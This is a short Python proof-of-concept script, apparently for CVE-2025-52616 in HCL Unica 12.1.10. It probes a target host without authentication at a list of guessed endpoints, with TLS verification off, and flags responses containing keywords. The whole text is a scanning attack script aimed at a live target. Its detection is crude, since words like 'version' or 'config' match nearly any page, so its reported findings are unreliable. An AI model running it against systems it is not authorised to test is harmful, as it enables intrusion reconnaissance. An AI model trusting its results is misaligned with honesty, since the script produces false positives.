CVE-2025-52616 HCL Unica 敏感系统信息泄露漏洞

# CVE-2025-52616 - HCL Unica 12.1.10 Sensitive Information Disclosure PoC # This PoC demonstrates how an unauthenticated attacker can retrieve # sensitive system information from a vulnerable HCL Unica instance. import requests import sys import json TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-unica-host" # Common endpoints known to expose sensitive system information in HCL Unica ENDPOINTS = [ "/unica/jsp/main.jsp", "/unica/servlet/Dispatcher", "/unica/jsp/version.jsp", "/unica/admin/console", "/unica/api/system/info", "/unica/jsp/debug/systemInfo.jsp", "/unica/servlet/GetSystemInfo", ] def check_information_disclosure(target): """ Probe HCL Unica for sensitive information disclosure. No authentication required (PR:N), no user interaction (UI:N). """ findings = [] headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityAudit/1.0)", "Accept": "*/*" } for endpoint in ENDPOINTS: url = f"{target.rstrip('/')}{endpoint}" try: resp = requests.get(url, headers=headers, timeout=10, verify=False) # Check response for sensitive system information markers sensitive_patterns = [ "Unica", "version", "server.info", "java.version", "os.name", "catalina.home", "database", "config", "systemProperties", "build.version", "platform" ] for pattern in sensitive_patterns: if pattern.lower() in resp.text.lower(): findings.append({ "endpoint": endpoint, "status_code": resp.status_code, "leaked_keyword": pattern, "response_length": len(resp.text) }) print(f"[+] Sensitive info found at {endpoint}: keyword='{pattern}'") break except requests.exceptions.RequestException as e: print(f"[-] Error probing {endpoint}: {e}") return findings if __name__ == "__main__": print(f"[*] Probing {TARGET_URL} for CVE-2025-52616...") results = check_information_disclosure(TARGET_URL) print(f"\n[*] Total findings: {len(results)}") print(json.dumps(results, indent=2))